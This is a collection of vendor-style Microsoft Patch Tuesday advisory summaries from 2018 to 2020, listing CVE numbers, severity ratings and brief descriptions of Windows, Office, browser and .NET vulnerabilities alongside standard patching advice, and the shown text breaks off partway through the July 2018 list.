Windows Elevation of Privilege Vulnerability (CVE-2018-0744) MS Rating: Important
An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode.
Windows Information Disclosure Vulnerability (CVE-2018-0745) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker can exploit this issue to retrieve the memory address of a kernel object.
Windows Information Disclosure Vulnerability (CVE-2018-0746) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker can exploit this issue to retrieve the memory address of a kernel object.
Windows Information Disclosure Vulnerability (CVE-2018-0747) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker can exploit this issue to retrieve the memory address of a kernel object.
Windows Elevation of Privilege Vulnerability (CVE-2018-0748) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Windows Kernel API enforces permissions. An attacker can exploit this issue to impersonate processes, interject cross-process communication, or interrupt system functionality.
SMB Server Elevation of Privilege Vulnerability (CVE-2018-0749) MS Rating: Important
An elevation of privilege vulnerability exists in the Microsoft Server Message Block (SMB) Server when an attacker with valid credentials attempts to open a specially crafted file over the SMB protocol on the same machine. An attacker can exploit this issue to bypass certain security checks in the operating system.
Windows GDI Information Disclosure Vulnerability (CVE-2018-0750) MS Rating: Important
A Win32k information disclosure vulnerability exists when the Windows GDI component improperly discloses kernel memory addresses. An attacker can exploit this issue to obtain information to further compromise the user's system.
Windows Elevation of Privilege Vulnerability (CVE-2018-0751) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Windows Kernel API enforces permissions. An attacker can exploit this issue to impersonate processes, interject cross-process communication, or interrupt system functionality.
Windows Elevation of Privilege Vulnerability (CVE-2018-0752) MS Rating: Important
An elevation of privilege vulnerability exists in the way that the Windows Kernel API enforces permissions. An attacker can exploit this issue to impersonate processes, interject cross-process communication, or interrupt system functionality.
Windows IPSec Denial of Service Vulnerability (CVE-2018-0753) MS Rating: Important
A denial of service vulnerability exists in the way that Windows handles objects in memory. An attacker can exploit this issue cause a target system to stop responding.
ATMFD.dll Information Disclosure Vulnerability (CVE-2018-0754) MS Rating: Important
An information disclosure vulnerability exists in Adobe Type Manager Font Driver (ATMFD.dll) when it fails to properly handle objects in memory. An attacker can exploit this issue to potentially read data that was not intended to be disclosed.
ATMFD.dll Information Disclosure Vulnerability (CVE-2018-0788) MS Rating: Important
An information disclosure vulnerability exists in Adobe Type Manager Font Driver (ATMFD.dll) when it fails to properly handle objects in memory. An attacker can exploit this issue to potentially read data that was not intended to be disclosed.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – January 2019
This month the vendor has patched 49 vulnerabilities, 7 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the January 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Exchange
Microsoft Windows
Jet Database Engine
Microsoft ASP.NET
Visual Studio
Skype for Android
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0539) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit the vulnerability to corrupt memory and execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0567) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit the vulnerability to corrupt memory and execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0568) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit the vulnerability to corrupt memory and execute arbitrary code in the context of the current user.
Microsoft Edge Memory Corruption Vulnerability (CVE-2019-0565) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. An attacker can exploit the vulnerability to corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Microsoft Edge Privilege Escalation Vulnerability (CVE-2019-0566) MS Rating: Important
A privilege escalation vulnerability exists in the Microsoft Edge Browser Broker COM object. An attacker can exploit the vulnerability to use the Browser Broker COM object to elevate privileges on an affected system.
Internet Explorer Remote Code Execution Vulnerability (CVE-2019-0541) MS Rating: Important
A remote code execution vulnerability exists in the way that Internet Explorer (IE) improperly validates input. An attacker could execute arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Office
Microsoft XmlDocument Privilege Escalation Vulnerability (CVE-2019-0555) MS Rating: Important
A privilege escalation vulnerability exists in the Microsoft XmlDocument class that could allow an attacker to escape from the AppContainer sandbox in the browser. An attacker can exploit this vulnerability to gain elevated privileges and break out of the Edge AppContainer sandbox.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0556) MS Rating: Important
A cross-site scripting vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0557) MS Rating: Important
A cross-site scripting vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0558) MS Rating: Important
A cross-site scripting vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Outlook Information Disclosure Vulnerability (CVE-2019-0559) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Outlook improperly handles certain types of messages. An attacker can exploit this vulnerability to gather information about the victim.
Microsoft Office Information Disclosure Vulnerability (CVE-2019-0560) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Office improperly discloses the contents of its memory. An attacker can exploit the vulnerability to use the information to compromise the user's computer or data.
Microsoft Word Information Disclosure Vulnerability (CVE-2019-0561) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Word macro buttons are used improperly. An attacker can exploit this vulnerability to read arbitrary files from a targeted system.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-0562) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Word Remote Code Execution Vulnerability (CVE-2019-0585) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker can exploit the vulnerability to use a specially crafted file to perform actions in the security context of the current user.
Cumulative Security Update for Microsoft Exchange
Microsoft Exchange Memory Corruption Vulnerability (CVE-2019-0586) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory. An attacker can exploit the vulnerability to run arbitrary code in the context of the System user.
Microsoft Exchange Information Disclosure Vulnerability (CVE-2019-0588) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Exchange PowerShell API grants calendar contributors more view permissions than intended. To exploit this vulnerability, an attacker would need to be granted contributor access to an Exchange Calendar by an administrator via PowerShell.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0536) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0549) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0554) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0569) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Windows
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-0550) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-0551) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows DHCP Client Remote Code Execution Vulnerability (CVE-2019-0547) MS Rating: Critical
A memory corruption vulnerability exists in the Windows DHCP client when an attacker sends specially crafted DHCP responses to a client. An attacker can exploit the vulnerability to run arbitrary code on the client machine.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2019-0543) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker can exploit this vulnerability to run processes in an elevated context.
Windows COM Privilege Escalation Vulnerability (CVE-2019-0552) MS Rating: Important
A privilege escalation exists in Windows COM Desktop Broker. An attacker can exploit the vulnerability to run arbitrary code with elevated privileges.
Windows Subsystem for Linux Information Disclosure Vulnerability (CVE-2019-0553) MS Rating: Important
An information disclosure vulnerability exists when Windows Subsystem for Linux improperly handles objects in memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system.
Windows Runtime Privilege Escalation Vulnerability (CVE-2019-0570) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Runtime improperly handles objects in memory. An attacker can exploit this vulnerability to run arbitrary code in an elevated context.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-0571) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker can exploit this vulnerability to run processes in an elevated context.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-0572) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker can exploit this vulnerability to run processes in an elevated context.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-0573) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker can exploit this vulnerability to run processes in an elevated context.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-0574) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker can exploit this vulnerability to run processes in an elevated context.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0538) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0575) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0576) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0577) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0578) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0579) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0580) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0581) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0582) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0583) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0584) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system by enticing a victim to open a specially crafted file.
Security Update for Microsoft ASP.NET
ASP.NET Information Disclosure Vulnerability (CVE-2019-0545) MS Rating: Important
An information disclosure vulnerability exists in ASP.NET and ASP.NET Core which allows bypassing Cross-origin Resource Sharing (CORS) configurations. An attacker can exploit the vulnerability to retrieve content, which is normally restricted, from a web application.
ASP.NET Core Denial of Service Vulnerability (CVE-2019-0548) MS Rating: Important
A denial-of-service (DoS) vulnerability exists when ASP.NET Core improperly handles web requests. An attacker can exploit this vulnerability by issuing specially crafted requests to the .NET Core application to cause a denial of service against an ASP.NET Core web application.
ASP.NET Core Denial of Service Vulnerability (CVE-2019-0564) MS Rating: Important
A denial-of-service (DoS) vulnerability exists when ASP.NET Core improperly handles web requests. An attacker can exploit this vulnerability by issuing specially crafted requests to the .NET Core application to cause a denial of service against an ASP.NET Core web application.
Security Update for Visual Studio
Microsoft Visual Studio Information Disclosure Vulnerability (CVE-2019-0537) MS Rating: Important
An information disclosure vulnerability exists when Visual Studio improperly discloses arbitrary file contents if the victim opens a malicious .vscontent file. An attacker can exploit this vulnerability by tricking a user into opening a malicious .vscontent file using a vulnerable version of Visual Studio to view arbitrary file contents from the computer where the victim launched Visual Studio.
Visual Studio Remote Code Execution Vulnerability (CVE-2019-0546) MS Rating: Moderate
A remote code execution vulnerability exists in Visual Studio software when the software does not check the source markup of a file for an unbuilt project. An attacker can exploit the vulnerability to run arbitrary code in the context of the current user.
Security Update for Skype for Android
Skype for Android Elevation of Privilege Vulnerability (CVE-2019-0622) MS Rating: Moderate
A privilege escalation vulnerability exists when Skype for Android fails to properly handle specific authentication requests. An attacker with physical access to the phone can exploit this vulnerability to bypass Android's lockscreen and access a victim's personal information.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – January 2020
This month the vendor has patched 49 vulnerabilities, 8 of which are rated Critical.
This month the vendor has patched 49 vulnerabilities, 8 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the January 2020 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Office
Microsoft Windows
Microsoft Windows Kernel
Windows Hyper-V
Microsoft Graphics Component
ASP .NET
.NET Framework
Microsoft Dynamics
Microsoft OneDrive for Android
The following is a breakdown of the issues being addressed this month:
Security Update for Internet Explorer
Internet Explorer Memory Corruption Vulnerability (CVE-2020-0640) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Cumulative Security Updates for Microsoft Office
Microsoft Office Online Spoofing Vulnerability (CVE-2020-0647) MS Rating: Important
A spoofing vulnerability exists when Office Online does not validate origin in cross-origin communications correctly. An attacker could exploit the vulnerability by sending a specially crafted request to an affected site.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0650) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0651) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0652) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0653) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Cumulative Security Updates for Microsoft Windows
Windows RDP Gateway Server Remote Code Execution Vulnerability (CVE-2020-0610) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Protocol (RDP) Gateway Server when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
Remote Desktop Client Remote Code Execution Vulnerability (CVE-2020-0611) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
Windows RDP Gateway Server Remote Code Execution Vulnerability (CVE-2020-0609) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Protocol (RDP) Gateway Server when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
Windows CryptoAPI Spoofing Vulnerability (CVE-2020-0601) MS Rating: Important
A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32. dll) validates Elliptic Curve Cryptography (ECC) certificates.
Windows Remote Desktop Protocol (RDP) Gateway Server Denial of Service Vulnerability (CVE-2020-0612) MS Rating: Important
A denial of service vulnerability exists in Remote Desktop Protocol (RDP) Gateway Server when an attacker connects to the target system using RDP and sends specially crafted requests. An attacker who successfully exploited this vulnerability could cause the RDP Gateway service on the target system to stop responding.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0613) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0614) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Common Log File System Driver Information Disclosure Vulnerability (CVE-2020-0615) MS Rating: Important
An information disclosure vulnerability exists in the Windows Common Log File System (CLFS) driver when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Microsoft Windows Denial of Service Vulnerability (CVE-2020-0616) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles hard links. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Microsoft Cryptographic Services Privilege Escalation Vulnerability (CVE-2020-0620) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Cryptographic Services improperly handles files. An attacker could exploit the vulnerability to overwrite or modify a protected file leading to a privilege escalation.
Windows Security Bypass Vulnerability (CVE-2020-0621) MS Rating: Important
A security bypass vulnerability exists in Windows 10 when third party filters are called during a password update. Successful exploitation of the vulnerability could allow a user to make use of a blocked password for their account.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0623) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0625) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0626) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0627) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0628) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0629) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0630) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0631) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0632) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0633) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Common Log File System Driver Privilege Escalation Vulnerability (CVE-2020-0634) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Privilege Escalation Vulnerability (CVE-2020-0635) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows when Windows fails to properly handle certain symbolic links. An attacker who successfully exploited this vulnerability could potentially set certain items to run at a higher level and thereby elevate permissions.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2020-0636) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Subsystem for Linux handles files. An attacker who successfully exploited the vulnerability could execute code with elevated privileges.
Remote Desktop Web Access Information Disclosure Vulnerability (CVE-2020-0637) MS Rating: Important
An information disclosure vulnerability exists when Remote Desktop Web Access improperly handles credential information. An attacker who successfully exploited this vulnerability could obtain legitimate users' credentials.
Update Notification Manager Privilege Escalation Vulnerability (CVE-2020-0638) MS Rating: Important
A privilege escalation vulnerability exists in the way the Update Notification Manager handles files. To exploit this vulnerability, an attacker would first have to gain execution on the victim system. An attacker could then run a specially crafted application to elevate privileges.
Windows Common Log File System Driver Information Disclosure Vulnerability (CVE-2020-0639) MS Rating: Important
An information disclosure vulnerability exists in the Windows Common Log File System (CLFS) driver when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Microsoft Windows Privilege Escalation Vulnerability (CVE-2020-0641) MS Rating: Important
A privilege escalation vulnerability exists in Windows Media Service that allows file creation in arbitrary locations.
Windows Privilege Escalation Vulnerability (CVE-2020-0644) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Windows implements predictable memory section names. An attacker who successfully exploited this vulnerability could run arbitrary code as system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
Cumulative Security Updates for Microsoft Windows Kernel
Win32k Information Disclosure Vulnerability (CVE-2020-0608) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2020-0642) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Graphics Device Interface Plus (GDI+) handles objects in memory, allowing an attacker to retrieve information from a targeted system. By itself, the information disclosure does not allow arbitrary code execution; however, it could allow arbitrary code to be run if the attacker uses it in combination with another vulnerability.
Win32k Privilege Escalation Vulnerability (CVE-2020-0624) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Security Update for Windows Hyper-V
Hyper-V Denial of Service Vulnerability (CVE-2020-0617) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Virtual PCI on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Cumulative Security Updates for Microsoft Graphics Component
Microsoft Graphics Components Information Disclosure Vulnerability ( CVE-2020-0607 ) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information that could be useful for further exploitation.
Microsoft Graphics Component Information Disclosure Vulnerability (CVE-2020-0622) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI+ Information Disclosure Vulnerability (CVE-2020-0643) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Windows implements predictable memory section names. An attacker who successfully exploited this vulnerability could run arbitrary code as system.
Cumulative Security Updates for ASP .NET
ASP.NET Core Remote Code Execution Vulnerability (CVE-2020-0603) MS Rating: Critical
A remote code execution vulnerability exists in ASP. NET Core software when the software fails to handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
ASP.NET Core Denial of Service Vulnerability (CVE-2020-0602) MS Rating: Important
A denial of service vulnerability exists when ASP. NET Core improperly handles web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against an ASP.NET Core web application.
Cumulative Security Updates for .NET Framework
.NET Core Remote Code Execution Vulnerability (CVE-2020-0605) MS Rating: Critical
A remote code execution vulnerability exists in . NET software when the software fails to check the source markup of a file.
.NET Framework Remote Code Execution Injection Vulnerability (CVE-2020-0606) MS Rating: Critical
A remote code execution vulnerability exists in .NET software when the software fails to check the source markup of a file.
.NET Framework Remote Code Execution Injection Vulnerability (CVE-2020-0646) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft . NET Framework fails to validate input properly.
Security Update for Microsoft Dynamics
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability (CVE-2020-0656) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected Dynamics server.
Security Update for Microsoft OneDrive for Android
Microsoft OneDrive for Android Security Bypass Vulnerability (CVE-2020-0654) MS Rating: Important
A security bypass vulnerability exists in Microsoft OneDrive App for Android. This could allow an attacker to bypass the passcode or fingerprint requirements of the App.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – July 2018
This month the vendor has patched 53 vulnerabilities, 17 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the July 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
Microsoft .NET
Microsoft Windows
ChakraCore
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8242) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8275) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8279) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8280) MS Rating: Critical
